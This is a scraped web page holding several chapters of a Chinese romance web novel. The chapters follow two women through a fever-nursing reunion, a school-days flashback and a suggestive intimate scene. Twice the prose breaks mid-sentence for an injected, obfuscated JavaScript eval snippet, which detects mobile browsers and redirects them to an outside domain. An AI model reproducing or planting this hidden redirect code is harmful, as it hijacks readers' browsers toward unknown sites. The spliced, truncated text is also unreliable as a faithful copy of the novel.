她妄想比肩小猫的造物主,今天得到了沉重的打击。 安迟叙没有摇头,没有点头,只有呆愣的眼一瞬不瞬。 于是,手腕的热量褪去。 晏辞微松了手。 半个小时之后,安迟叙背着自己的东西离开了晏辞微的家。 客厅的灯少了一个人的反射,顿时暗下去。开了暖气的屋子竟有这么冷。 晏辞微放下红色的窗花,红色的剪刀,看向窗外,眼里闪过一丝红色的身影,那是前天她带安迟叙一起逛街时,给她买的新衣服。安迟叙比半学期前长高了,是该为新年买些新衣。 冬景朦胧,晏辞微看不清人影,只剩一片淅淅沥沥。 下雨了。 …… 安迟叙回到她的家。 她生涩的摸出钥匙,对着楼道昏暗的光线试了三次才终于对准锁孔。 “安迟叙,赶紧来吃饭。”母亲的声音从厨房里传出。 安迟叙有些惊讶,按住怦怦跳的心口,换上鞋。 她脚长大了些,鞋显得不那么合适。可家里挂着灯笼,门口换了春联。 就好像她们要和解成普通的家人,一起度过这个春节。 安迟叙顾不上不合脚的膈应,飞奔进厨房。 “妈咪,怎么做了这么多?”好像她们从来没有嫌隙。 安迟叙亲昵的贴了过去,险些抱住母亲的时候羞红了耳根。 她差点用对待晏辞微的方式对待母亲了。 “过年啊,有客人。”母亲的眼神是飘忽的。她始终没有看女儿一眼。 安迟叙却因为久违的对话欢喜起来,觉着母亲无神的灰眸也很明媚。 她把菜一盘一盘的端出去,拿出三把小椅子,开了笨重的电视等待妈妈回家。 好像五岁以前的每一天。 她们却没能等到妈妈回家。 “吃。别管。”母亲不耐烦的拍了拍安迟叙的背。 力道很大,不像在对发育期的女儿。 安迟叙被拍得生疼,还得低头吃饭。 她吃着吃着尝不出味道,鼻梁发酸,双目胀痛。 她突兀的想起被她丢下的晏辞微。 晏辞微从来不会用这样的力道拍她,从来轻柔温和,似春风似云。 夜晚,安迟叙收拾完碗筷,看着母亲把剩饭打包出了门,一个人独守空房,迷茫又麻木。 她守不过这个夜,困到在震天的鞭炮声里倒在沙发上睡着。 然后是吃独自剩饭的第二天,第三天。 母亲偶尔回家。妈妈看不见人影。 第四天时,妈妈终于回家了。 开门以后一件茶具飞了出来。 安迟叙眉心一跳,立即躲开。 茶具砸在地上,好像砸碎了安迟叙的心脏。 “可算回来了。”妈妈看见了渺小的安迟叙。 “还舍得回家啊。没再把你情人们带回来?给咱们女儿也看看呗……安迟叙,你从谁那儿偷来的衣服?放了假还敢不回家,胆子很大啊。这么小就想出去当混子?” 母 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15908841|176866||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 亲从屋内走出来,嘴角挂着一丝酒红,在安迟叙眼里渐渐和鲜红的春联融为一体,她分不清。 “你有脸说她?这是你女儿,你现在这个样子,你敢说你是想照顾好她?” 妈妈提高了声音,一把拦住准备上前教训安迟叙的母亲。 “难道她不是你女儿?你管过她吗?期中的家长会你不是没去?我还没跟你算你养在外面的那些人的账呢。” “你也好意思?就你这样?也好意思说我?安迟叙你说说,到底是谁更过分?” 两个人的争吵一触即发。 安迟叙好像被按下了暂停,无法动弹,眼前的景越来越模糊,越来越灰暗。 终于她看见母亲微隆的小腹,一个激灵摔倒在地上。 安迟叙捂住嘴,终于意识到她那对常年争吵的亲长要她回家做什么。 审判。 她的母亲有了。和别人的。 她的妈妈出轨的光明正大,带人回家证据确凿。 小小的家早就支离破碎,而两个人需要她们唯一的维系替她们审判彼此。 她只是她们不趁手却又别无选择的工具。 滚烫的胃酸合着食物的残渣灼烧安迟叙的喉头。 她硬生生忍住呕吐,头也不回的爬出了这个家,摔上门。 安迟叙跌跌撞撞飞出单元楼,走楼梯时腾空,落在地上浑身发痛。 她怕被抓回去。她受够了当她们攻击彼此的武器。 可她还能去哪儿? 安迟叙一步一摔,足足摔了五次,终于没了力气,不知倒在哪里。 周遭好像有人。又好像没有。朦胧的红影子远远的立在边界之外,从不靠近安迟叙。 她喘着粗气看向天幕。灰蒙蒙的天又黄又丑,落下腐蚀的酸雨,冷如冰刀。 就要扎中双眼。 安迟叙闭上眼,等待她自己的审判。 却有一把红伞,轻盈的替她遮住漫天飞雨。 想象中的冷没有到来,安迟叙缓慢睁开一只眼。 晏辞微就在她身旁站着,撑一把红伞。 从此风雨落不到安迟叙身上。 安迟叙咬住嘴唇,却控制不住眼泪。 她知道她这样很丑,极力克制却只带来了颤抖。 “微微……”她不该走的。 安迟叙的声音很小,道歉是雪,在还没落下的高空被雨融化。 晏辞微蹲了下来,紧紧的靠着安迟叙,似乎想要把她拉起来,抱回去。 安迟叙朝她伸出手。 “我……我想要,我想要你的……”她想要她的爱。 伸出的手被握住。晏辞微没有让安迟叙落空过哪怕一次。 “我想要你的蝴蝶……”安迟叙沙哑着嗓子,在高烧中朝她真正的家靠近。 她掌心多了一块异物。 干燥、脆弱。 是一只纸折的红蝴蝶。 *** 呓语。 滚烫的体温。 异常的面红。 安迟叙没能拨通晏辞微的电话,倒在家中意识不清。 却有一只手将她抱回床上,又把收回的蝴蝶放回安迟叙的枕头下。 于是高烧的噩梦退散。安迟叙的眉眼逐渐安宁。 不知几个小时之后,安迟叙睁开眼。 身体已没有那么烫了。 模糊的视线慢慢聚焦。 她看见了难以置信的人。 晏辞微正跪坐在她身旁,挤干冷毛巾,揭过她额头贴的退烧贴。 15. 第 15 章 闷热。 安迟叙眨了眼,视线的变换十分迟缓,朦胧的泪水盖着眼眶,她再怎么努力也看不清眼前。 是高烧带来的生理性泪水。薄薄一层,怎么也干不透,浸润的安迟叙鼻尖发酸,有些分不清她究竟是否想哭。 毕竟,她看不清跪坐在她身边的到底是鬼,是思念,是想要谋财害命的强盗。 还是晏辞微。 是前者吧?安迟叙糊涂的想着。 她也不清楚她究竟烧到多少度,呼出的热气都好像晏辞微眼底的红痣。 她才刚思念完晏辞微。哪有如此快的回响。 她希望不是晏辞微。 不过发烧而已,她一个人撑得住。 然而感知晏辞微的方式从来都不止一种。 安迟叙不断放缓着呼吸,茉莉雪芽的清芳慢慢冲破她堵塞的鼻孔。 额头上传来一阵轻柔的擦拭,隔着毛巾的手指怜惜着她,像照料女儿的母亲。 闷热的初夏相当寂静。安迟叙再次眨眼重新对焦时,世界只剩两个人的呼吸。 她的粗糙沉重,晏辞微的安静细微。 ……是晏辞微啊。 安迟叙稍稍偏头,这一点动作都显得有些艰难。 晏辞微的手恰到好处的贴上安迟叙的脸。 一阵凉意顺着她的掌心传向安迟叙混沌的头脑。 晏辞微还是那么体寒。安迟叙情不自禁朝缓解高烧滚烫疼痛的方向靠近,慢慢吐出一声无意义的呢喃。 晏辞微把退烧贴妥当的贴在安迟叙额头,捂她一张绯红的云颊两分钟,而后抽手放入一旁的冰水中。 如此往复。 直到安迟叙又梦了晏辞微一度,睁开眼,直勾勾的看向晏辞微。 晏辞微才停了如此低效的降温方式。 她的手已经红了,被冰水浸泡到发紫的程度。 可还留了些安迟叙的温度,不至于冷到发痛。 安迟叙清醒了不少,想要坐起来,又被这只发红的手按住。 “没事了,团团。好好休息。”晏辞微已经接管了这里的一切。她要安迟叙不必操心。 “……你怎么来了?”安迟叙有些抗拒。 “没记错的话,团团,这里是我家。”晏辞微无奈弯眉。 安迟叙想问的不是这个。晏辞微却不想回答真正的问题。 对视也热火,安迟叙最后的力气化作驱逐的视线,劈里啪啦打在晏辞微的眼里。 或许是被灼痛,晏辞微终于让步。 她一声叹息。“乖团团……你没请假也没来上班,我当然知道你出事了。” 晏辞微的指尖还带着些冷,扫过安迟叙的眼帘,轻碰她的睫毛。 “三十九度四,烧这么高,团团,有想过我吗?”她明明最会照顾好她的小猫了。安迟叙体验过的。 晏辞微好像很珍惜能当着安迟叙的面喊团团的机会,每一句话都不肯放过。 团团,团团…… 安迟叙闭上眼咬住唇,忍着痛苦的呻吟。 “……手机。”那里还躺着她没能拨通的电话。安迟叙还是回应了晏辞微。 团团是晏辞微给安迟叙起的小名。 只有她们知道,只有她会这么喊,每一次听见安迟叙都会心悸,曾经悸动里只有欢喜。 安迟叙听见一声哂笑。 晏辞微取下有点热的毛巾,重新处理好退烧贴,安在她的团团头上。 而后撩过耳发,也不管满身茉莉雪芽的气息包裹了安迟叙,闷钝她的呼吸,就这样低头。 干燥的,短暂的吻落在安迟叙鼻尖。 鼻尖发痒。安迟叙控制不住的抽动,睁开眼。 “我去给你热粥。”晏辞微最后抚过她的脸颊,在她模糊不清的注视下离开了卧室。 晏辞微没有关门。 安迟叙盯着她离开的方向呆了好久,才意识到,晏辞微也没有检查她的手机。 *** 晏辞微早做好了病号套餐,这会儿只需要热一次。 她拿小勺抿过一口,确认温度刚好,正准备拿小碗盛出来。 一双手从背后抱住她。 那双手没有力气,烫得惊人。仿佛骨头都融化在高温里。 晏辞微心脏也快随之融化。她想要转身,却被紧紧囚在灶台和安迟叙这一点空间里。 “你没有必要来。”安迟叙的声音和棉花没有区别。 模模糊糊的,又好像梅雨季连日的天气,有些发霉的湿黏。 晏辞微有片刻的停顿。 她还是转过身去,面对她执拗的小猫。 她期待看见贴在她脖颈处的头颅,高扬着,喜欢的小猫用清澈无辜的大眼睛望向她,就像她们十六岁那样。 但安迟叙已经比她高了。 哪怕因为高烧腿脚酸软无力,安迟叙也依旧和她平齐,不再睁大双眼看向她,想把最好的她深刻印在脑海里。 二十五岁的安迟叙垂着眼眸,那双黑杏仁里没有一颗光。 晏辞微咬痛嘴唇,干脆的无视了这些痛楚。 她搂住她站不稳的团团。安迟叙的腰比任何一天都软,无骨动物一样粘稠的淌在晏辞微的臂膀上,缓慢向下流动。 晏辞微把安迟叙往自己肩膀上揽,而后空出一只手,拿勺子舀温热的粥。 一勺一勺,慢腾腾的。 把热粥喂给被她反囚在怀里的安迟叙。 安迟叙没有挣扎。她张开嘴,默许了晏辞微的“看望”。 *** 粥是安迟叙最喜欢的味道。玉米加瘦肉,咸、甜都刚刚好。 只有晏辞微才做得出这样的粥。分手以后安迟叙去了很多家店,自己也尝试多次,总是复刻不出那种味道。 以前她只要说想,晏辞微就会满足她。哪怕她没有生病。 ……现在竟也一样。 安迟叙沉下去。 呼吸不畅快的感觉好像溺亡。粥是呛人的水,慢慢填满她的肺。 她怎么也落不到深渊,还有一只手拉着她。 晏辞微。 晏辞微搂着她的腰,喂完这一碗粥,毫不犹豫的把她抱了起来。 生病的人总是很沉的。安迟叙也无力像以前那样勾住晏辞微的脖颈,紧贴她的胸口。 而晏辞微抱的很稳。比坐她的车还稳,一点颠簸都没有。 屋内只剩寂静的脚步声。 “……瘦了好多。”或许晏辞微是情不自禁。 或许是安迟叙自己出了幻觉。 一句话太轻,转瞬就被呼出的热气吹散。 安迟叙闭着眼,悄悄拉住晏辞微的衣袖。 晏辞微的照顾真的很舒服。 收拾整齐的客厅,洗净霉菌的壁纸,分类摆放的资料,按需备齐的药物……还有帮她请好的假,时时刻刻的陪伴。 虽然不知道她最乱的客卧,拿来放橘子的猫房有没有被打扫过,但家里连一片猫毛都没看见了。 晏辞微如此细致,比最好的保洁更明白安迟叙的家,她们的家。 安迟叙不再需要思考、劳累。 她乱放的遥控器和茶具就会有人替她收,突兀长霉的角落会被随时清洗干净,找不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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猫都是这样,需要一点点强制,不然太狡猾太自卑,永远也没法接近。 如果她觉得不舒服,自己会跑。 安迟叙肯定还有力气把她推开,但她什么也没做。 晏辞微放心的加深着这个吻。 她探索着,轻咬偏头。 腰上的力道忽然重了点。 要被咬了吗?晏辞微一颗心惴惴着发痛,疼痛却叫她愈发兴奋。 安迟叙只是从她喂的粥里恢复了些力气,抱紧她。 用力的迎合,把深吻加到呼吸都没法承受的地步。 她有些细碎的呻.吟,晏辞微一颗心因为她的动作忽上忽下。 引导不再。 而安迟叙也不知该如何做,一通胡乱的亲吻后,没了力气。 她滑倒在晏辞微怀里。晏辞微面色泛粉,呼吸紊乱,却还是稳稳接住她。 她想要继续。想要一个吻,更多的吻,更深的吻。 想要……安迟叙的爱。 而安迟叙无力的抬手,点上晏辞微那被她咬红的唇峰。 像一次阻止。 晏辞微听话的呆在原地,瞳孔却骤然缩小。 “其实……我也很想你。”功亏一篑了。 惰性依赖像梅雨季的霉菌。 安迟叙独自生活时清理的再干净,也无法阻止它们从暗处生长。 慢慢爬满整间屋子。 只有晏辞微来,才能彻底将它们拔除。 16. 第 16 章 小小的安迟叙身体更差些。 尚没有达到那个年纪的平均水平,营养不够,三天两头就感冒,家里人还不管她。 她也不懂什么病什么药,更懒得求助于母亲妈妈,甚至医生。 一生病就硬拖,药也不吃休息也不够,愣是把自己拖到了十六岁。 初见,晏辞微就知道安迟叙身体不好。 都是十六岁的年纪,安迟叙比自己矮大半个头,瘦瘦小小一只躲在暗处,皮肤白无血色,手臂和胸腹能看见明显的骨头,像无人照料的流浪猫。 半年后晏辞微成为了流浪猫的主人,自然要给她的小猫调理身体。 安迟叙不喜欢去医院,听见晏辞微提意,就开始推脱。 流浪猫的推脱也很有意思。她绝不会开口说出自己想做的事,只是一味的找借口,拐弯抹角。 “团团,我带你去看看中医吧。是我认识的一个,很专业。” 晏辞微第一次提出这件事,是在高一上,十月的光景。 那会儿刚过完长假,晏辞微在学校宿舍悄悄陪了安迟叙七天。 她们一起在校园里写作业,吃食堂突然水平提升的员工餐,淋着雨在操场疯跑。 兴许是跑得太过,安迟叙成功感冒,最后三天是在宿舍度过的。 晏辞微在的时候,宿舍里的别人都知趣离开。 彼时的安迟叙尚没有察觉到这一点,只觉得四周无人叫她安心。 她可以挪出一个小空间,邀请晏辞微的降临。 晏辞微可以肆无忌惮的抱住她,揉过她毛躁的头发,再给她一勺一勺的喂药。 安迟叙很少在生病的时候吃药。嘴巴苦,药更苦。 晏辞微却在她身边,把一切苦涩都变甜。 安迟叙老实了三天,这是她病好的最快的一次。 之后晏辞微就想带她去调理。 “周末吗?”安迟叙杏眼一闪而过惶恐,眉头是抗拒的形状。晏辞微看得一清二楚。 “周五晚上去。老班那边我去说就好,看病的事她不会阻止的。” 晏辞微霸占了安迟叙同桌的位置,撑着下巴望着她。 安迟叙低下头。 她捏着笔,指尖泛白,写出的字依旧蚊子大,工整清秀,就是对老师的眼睛不太友好。 “但……周四考的卷子周五发,晚自习得把错改上去。”这是数学老师的要求。 安迟叙说一句头低一点。她不擅长隐藏自我,却很擅长遗忘自我。 “没事呀,和她说一声就好。看病的事大。”晏辞微知道安迟叙不想去。 她说不清是想逗逗安迟叙,还是一定要带安迟叙走。 那时的晏辞微告诉自己,安迟叙身体太差,本来就应该好好调理,休学都不为过。 她是为了她的团团好。 “数学老师很凶的,可能不会同意……”这是安迟叙第二次拒绝了。 她声音越来越小,和她的字逐渐趋同。 在庞大世界中连一叶孤舟都算不上,兴许只是落入水中的盐,转瞬即逝。 课间嘈杂。难得下雨不跑操,同学们都围在一起热闹。 晏辞微依旧听清了安迟叙的话。 无论周遭有多少人,安迟叙涓流般的声音总是那样明显,和窗外的细雨一般,降临时没有人听不见。 “我去就好了呀。她不会凶你的。”晏辞微笑弯了眼,抬手按住安迟叙的耳。 惊得正在写题,其实走神很久的安迟叙骤然侧头。 四目相对,安迟叙拒绝的话咽在喉头,又被晏辞微坚定的笑吹散。 她说不出口哪怕一句违抗的话,默默低了头。 默许晏辞微捂住她的耳朵、眼睛,替她听,替她看。 默许晏辞微牵着她的手,带她去看病。 周五下午,安迟叙慢吞吞的收拾着东西。 她同桌瞅了她一眼,又看了看不在前座的晏辞微,了然。 同桌很知趣的起身让安迟叙,在安迟叙拖拖拉拉的步伐里捂着脸感叹,她也想要甜甜的恋爱。 “只,只有我们两个人吗?”安迟叙在门口找到了正在跟门卫扯皮的晏辞微。 门卫放行了,晏辞微挽起安迟叙的手腕。“是啊。看个病,不需要大人在嘛,医生在就好。” 可是大人不在,她们该怎么开号,怎么排队,怎么付钱呢? 她又要如何描述她的症状? 她这会儿分明好了感冒,身体没有不舒服。 安迟叙止不住的紧张,抓着晏辞微全程不肯松手。 晏辞微领着她,把一切准备事项包办。 等真正检查的时候,她放松了不少。 中医馆的医生也就把脉,看看舌苔。 “医生,她身体有点虚,能不能看看怎么调理?”晏辞微也会帮她描述身体情况。 医生把完脉,也直接把她的问题说了出来。 梦多易醒,容易疲劳,营养摄入不够…… 医生开了张忌口的单子,把药方给了晏辞微。 安迟叙全程只需要跟在晏辞微身后,牵着她的手就好。 这样就是看完病了……安迟叙悬着的石头慢慢往下落。 原来她也可以不用挨骂,不用挤着排队又意外跟丢,不用在大大小小的人群里低着头听母亲隔着电话和人吵架,她不付钱,最后是气冲冲的妈妈把卡丢在她脸上。 晏辞微会紧紧握着她的手。 她可以不必害怕了。 …… 晏辞微接过了给安迟叙熬药带药的工作,还顺带当了安迟叙的小闹钟,每天准点提醒安迟叙吃药。 第二节课下课,晏辞微站在安迟叙桌子旁。 同桌瞅一眼晏辞微就知道该离开了,讪讪勾了两个好朋友一起去厕所。 晏辞微拿着保温杯在安迟叙身边坐下。 “怕苦吗?”她搅拌了一下还有点烫的中药,跟安迟叙悄悄眨眼。 安迟叙摇头的幅度也很小,目不转睛的盯着晏辞微的脸看。 “先喝吧。给你准备好了的。”晏辞微低头抿过杯壁,确认温度合适,才递给安迟叙。 安迟叙就着晏辞微刚刚试温度的地方,一口喝完。 其实并不怎么苦。安迟叙闭着眼,药的热气还扑在眼皮上。 晏辞微的呼吸还挂在耳畔。安迟叙仔细分辨,甚至还能尝出点晏辞微的味道。 或许是晏辞微的沐浴露,柠檬的香气清淡持久。 或许是晏辞微偶尔会喷的香水,茉莉雪芽的味道很轻盈,安迟叙曾抱着晏辞微闻过一下午。 或许,是晏辞微唇膏的味道。草莓还是巧克力,甜腻腻的,让安迟叙想把杯子也舔一圈。 她把杯子放下的时候,还得到晏辞微一句夸奖。 “真厉害,团团。”就像在夸小宝宝。 “这有啥……”安迟叙羞红了脸,咬着唇微恼,却被晏辞微塞了一颗糖。 晏辞微的指尖悄然掠过安迟叙的唇瓣,惹来一阵战栗。 糖也是草莓味的。尝不出香精的味道,是很纯正的水果甜。 只一颗糖,迟钝的安迟叙也能感受到,晏辞微的家境不一般。 可也没关系吧? 安迟叙默默把糖推入口腔,品着草莓融化。 晏辞微会带她看病,给她熬药,喂她吃糖。 她们可以一直要好的。 “好羡慕你们俩。”见晏辞微喂完药,安迟叙的同桌转了过来,趴在她原本的位置上。 晏辞微顺势往安迟叙身边靠了点。“羡慕啥呀,人家生病吃个药。” 她不可能不知道安迟叙的同桌在说什么。 就连安迟叙的耳根都深了颜色。 晏辞微还要装傻,勾着安迟叙的脖颈,三两句话把想加入聊天的同桌送走。 “是没啥好羡慕的啊。”再往前一排,学习班长开口了,手里还写着刚从老师办公室拿的卷子,只有她的小团体能提前拿到,剩下的她会拖到第二晚自习再发。 “多大人了,居然还要别人提醒吃药,还让人喂。搞不搞笑。” 有人戳了她一下,叫她别说了。 晏辞微脸上的笑依旧,眼底的笑却转瞬无踪。 “同龄人给你当妈,羞不羞?”学习班长反而变本加厉,拽着阻止她的人问。 “看不惯?”晏辞微开口,语气依旧平和如常。 学习班上头上莫名被什么东西打了一下。 她回过头,看见安迟叙拧着眉往旁边缩,和晏辞微明显拉开了距离,这才满意,也不顾头顶的痛,闭上嘴,但嗤笑明显。 “你是会看不惯。毕竟你也没人疼。”晏辞微牵起安迟叙的手,拿着装药的保温杯,丢下一句话后离开了教室。 安迟叙却在教室外,甩开了晏辞微的手。 她动作一向很轻,这次用上了力,甩了晏辞微一个措手不及。 “团团……很生气吗?”晏辞微不明白,捂着手,依旧朝安迟叙靠近。 她们才是最亲密的人,为何要管外界的眼神? 还是说,安迟叙不喜欢她的照顾? 那一甩已经用尽安迟叙全部的勇气。她飘忽眼神,比晏辞微还不知所措,牙齿开始发抖。 刚甩完就后悔了。 安迟叙把头颅压的很低,避开晏辞微的眼神。 她想那双眼里一定有斥责,有失望,像一对刀刃。 她只能看着安全的地板,她恍恍惚惚放大的鞋子,犯着她的晕厥。 如果她能就此晕倒,那才是最安全的解。 上课铃响了。安迟叙没能如愿倒地。 “我,我自己会记得喝的,谢谢你。”安迟叙闭着眼抢过晏辞微怀里的保温杯,步伐不稳,跌跌撞撞回教室。 晏辞微在门口愣了好久。直到科任老师进教室,她才坐回自己位置上。 她低垂了睫毛,盖住眼里的情绪。 在草稿纸上写下学习班长的名字,而后划过一个叉。 …… 两天以后,学习班长休学了。 安迟叙抱着保温杯,看向空空的位置,一个可能性划过脑海,顿觉天旋地转。 第一节课全程,她看着摆在桌上的保温杯,余光不时瞥向斜前方的晏辞微。 想看她,又不敢看她。 她不知道晏辞微桌上有一只梳妆镜,镜子里永远映着自己的影。 她的动作被晏辞微收尽眼底。 大课间时,安迟叙被晏辞微不由分说的拉到了教学楼后面,几乎无人经过的位置。 “晏,晏辞微,怎么了吗?我们不能,不能逃课间的。”安迟叙攥紧衣角,头脑发胀。 “没关系的。”晏辞微不像她想象中的可怕,温柔依旧。 她牵起安迟叙惴惴不安的手,一根一根掰开,不要那指甲扎伤掌心。 再一根一根的穿进去,和她十指相扣。 “我是队委,忘了吗?我帮你请假了。”晏辞微只靠近到这一步。 她们有过的拥抱,搂或揽,都没有发生。 晏辞微只是牵起安迟叙的不安。 “早上果然又忘吃药了,我的团团。”她空的那只手拿出保温杯。 就着安迟叙的惊讶,就着她们相扣的手。 按上保温杯的杯盖。 晏辞微的手掌在上,紧贴的是安迟叙的掌心。 她被扣住,不得不同样贴上保温杯的杯盖,在晏辞微的引领下,拧开它。 又在晏辞微的带领下,被迫拿住杯子,被迫自己喂自己吃药。 安迟叙却意外的,不觉得难受。 晏辞微牵住她的那一刻,她过去两天的所有惶恐都消失了。 后悔的烦躁,连夜睡不好的疲惫,白天想看又不敢看的酸苦…… 统统化作掌心一点温热,而后是柔软。 安迟叙不在意学习班长的事了。 她只想要和晏辞微和好。 “团团,你看。”晏辞微拿出手机。 只有她在用的触屏机上,赫然亮着一张病例,是学习班长的。 “她精神状况不太好,家里人决定让她回去休学半年,明年状况好转,再重新跟着新高一上课。” 晏辞微处在较高的位置,云淡风轻的用自己的影子,盖住毒辣的秋日,替安迟叙遮荫。 也一句话决定了学习班长的命运。 “这样啊……”安迟叙完全不介意了。 就当学习班长是因为精神问题休学一年吧。那个人与她无关。 晏辞微肯原谅她就好。 安迟叙扬起头。 她看见晏辞微逆光的眉眼,模糊又暧昧,轮廓化成一片深色,边角的耳发细碎闪光,顺着风些许飘到安迟叙眼前。 她看不清晏辞微的眼。 却能想象成她的神色。一定是和以前一样,包容辽阔,温柔似海,平稳如镜。 这是只有安迟叙知道的眼神。毕竟,晏辞微看着她的时候,眼里总有些不一样的情愫。 安迟叙是迟钝,又不傻,谁对谁不一样,一眼能看出来。 她太熟悉这种情愫,以往可以淡定的任晏辞微看着她。 此刻却想靠近一点。 让她也看看晏辞微。 牵着的手向下,扣紧依旧。 呼吸却缠绕在阳光里,被碎发卷走。 安迟叙没意识到她已经踮脚,试图和晏辞微的眼睛一般高。 晏辞微在这时往前一步。 没有退后,没有回避。她也直勾勾的看着安迟叙。 后来安迟叙想起,那应该是她第一次想要亲吻晏辞微。 但那时谁都没有胆量。 只有视线兀自拥吻,掀起一阵热浪。 安迟叙从晏辞微的眼第一次看向晏辞微的唇。 端详的仔 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而晏辞微不管她的心绪。 她太久没有听见心上人的表白,哪怕只是一句思念,于她而言都足够抚慰爱人离开后的创伤。 安迟叙微弱流露的爱意像海水,渗透过晏辞微的伤口,刺激她。 疼痛,却又有新生的爽感。 晏辞微呼吸加粗了。 她俯身掌住安迟叙的后脑勺,让本就烧热的地方再次升温。 “团团。”晏辞微开口阻止了安迟叙的欲言又止。 而后把那一声轻唤当作预告,不管不顾的低头。 她近乎横冲直闯,咬开安迟叙的唇。 安迟叙本也做好了准备,艰难的勾住晏辞微的脖颈。 晏辞微不会让她受累的。 晏辞微将她放了下去,手掌依旧没有离开她的后脑勺,只不过不让她悬空,制造没必要的紧张感。 光是以这样的身份,这样的境况相遇,意外接吻,就足够叫她们紧张了。 两个人都在期待下一步。 晏辞微抬了口气,漏给安迟叙吸气。 安迟叙眉眼带泪,朦胧着,一时没有看清晏辞微的动作。 她在高烧里只愿沉浸于自己的快.感。 什么责任伦理道义,她都管不了。 至于自我拯救的挣扎,撕扯安迟叙,叫她停下的心声,更是被本能屏蔽。 她的本能在很早之前就被调.教好,变成了爱晏辞微的模样。 事到如今,她这具空壳什么都不剩,只有这份本能依旧鲜活。 安迟叙迟缓的伸出手,去抓晏辞微的衣角。 晏辞微接过她的手,帮她用力,扣回自己腰上。 安迟叙可以懒散。 可以肆意妄为,可以一动不动。 晏辞微永远会调整自己的节奏,契合她,引领她。 这是她们之间永恒的心照不宣。分开一万年也不会变。 安迟叙闭上眼,一阵心安。 唇齿再次被破开时,她尝到一丝甜。 ……是草莓味的糖。 依旧是不含香精的味道,有纯粹的果酸、香甜。 味道和十年前分明一样。回忆被瞬间勾起。 感官却完全不同。 十六岁的少年不敢爱,接吻都只能用眼神代偿。 十年后她却不能爱,亲吻的同时心口有密密麻麻的刺痛。 都是不敢。 晏辞微却已经熟练的刺激起她敏.感的地方,让她绷紧神经。 …… 呼吸快被晏辞微吻断。 她每亲一下,又会抬起停顿一瞬。 好像在无声的喊她,团团。 团团,团团…… 一点一抬。 安迟叙却来不及换气,氧气慢慢耗尽,只剩晏辞微给她渡氧。 她快要窒息,嘴里的香甜叫她舍不得停。 动作慢了,反应淡了。 玩偶一样被晏辞微摆布着亲吻。可连阻止的声音都没有。 要不就这样杀死她吧。 安迟叙失神的想着。 如此她也不必痛苦,晏辞微也该释怀。 晏辞微只是在她受不住前一秒停了下来,浅浅移开嘴唇,给她留换气的时间。 安迟叙像溺水后惊醒,不断起伏着,看向晏辞微的眼带了些失望。 “团团,你还是和以前一样可爱。”晏辞微的距离稍稍拉开,银.丝还牵在空中。 她躺在安迟叙的身旁,依旧掌着她的头、肩膀。 安迟叙还在她的控制之下。 “换不过气,也不告诉我,等着我发现。”晏辞微揉过安迟叙的头发,捏捏她的脸。 吻了三次。她们还共同吃了一颗糖。 晏辞微的心情比两年来任何一天都好,甚至有点得意忘形。 “团团,我的团团……”她下潜,抱紧安迟叙。 抚摸她的脸颊、脖颈,很是亲昵的摸过她脖颈上的动脉。 安迟叙的手被彻底绑在晏辞微怀中,被迫感受着她的线条。 她很熟悉这样的手感,曾无数次在现实、梦境感受。 她最爱这样的手感。毕竟晏辞微是她最爱的人。 好软。 不知是否因为高温。晏辞微比往常还像棉花。 安迟叙被她不断刺激着,掌心也渐渐出了汗。 热浪滚滚。 安迟叙猛然睁开眼,看向天花板。 天花板属于晏辞微。 今天,她也该属于晏辞微。 “对不起。”很小的声音,像她学生时代秀气的字。 “……没关系啊。”晏辞微轻哂,知道安迟叙在说什么,无奈,又不得不宠溺。 “没关系的。”她的团团肯再次拥抱她,顺从她,就已经很好了。 她无所谓这是不是期间限定。 “我会原谅你的。无论多少次。”毕竟,安迟叙是她的团团。 就像当年甩开她的手,她会再牵上去。 如今安迟叙恨她,她只会再爱回去。 “真的吗?无论如何都会原谅我?”安迟叙撑着起身,想要坐在晏辞微身上。 她想……属于晏辞微。 用成年人的方式。 而晏辞微只是伸手点住她的唇。 不必她说话。 晏辞微起身,把安迟叙放回去,叫她躺好。 而后自己坐在安迟叙身上。 牵起安迟叙的手,往下。 窗外是淅淅沥沥的雨。 这场雨顺着安迟叙被牵引的手,正式降临在晏辞微裙摆间。 17. 第 17 章 “团团,你的手指……也好热。”晏辞微轻哂着,与安迟叙十指相扣。 安迟叙一半忙着,一半被晏辞微牵住。 晏辞微带着她,往上扣。 “真的烧的很高了。”晏辞微感受到背上传来的热度,怜爱般捧住安迟叙的脸,满眼喜欢。 “我们还是第一次这样吧?”以前安迟叙生病,晏辞微恨不得把她时刻捧在掌心,怎可能让她努力。 当然,今日也没让安迟叙受累,只要她给出一只手就好。 “嗯……”安迟叙心率攀升,身上的汗也多了。 她呼出的气体热,又和晏辞微的缠在一起,染上茉莉的味道。 这样的时刻,本该有天竺葵的甜苦味。今天却陌生。 谁也没准备好迎来这场骤雨。 晏辞微只知道自己甘之如饴。 也许安迟叙也一样。 …… 安迟叙迷糊着,掌心不住发汗,又被挤得有些难耐,试图扩张。 晏辞微趴在她怀中,很帖服的将自己圈成安迟叙的形状,等待安迟叙进一步。 “团团,好爱你。”配合着一句句这样的表白,顺着脸颊给出上百次抚摸。 每次都是这样。安迟叙看似是主动位,实则是她掌心的晏辞微负责调动她,引导她。 这回更彻底。 安迟叙不需要努力。 她接受了被动的频率,干脆闭上眼。 由晏辞微全程引领的热舞开始。她只需要做享受的那一个。 享受她的柔软和声调。 …… “热……”安迟叙被晏辞微搂在怀中。 已经结束了。晏辞微还有力气亲吻安迟叙的鬓角,一次又一次,仿佛安迟叙是什么甘美的点心,怎么也尝不完。 “我把空调降一度。”晏辞微说着翻身,去拿遥控器。 安迟叙习惯的跟着她一起侧身。 一骨碌就压在晏辞微背上了。 “调皮。”晏辞微的笑声从下方传来。 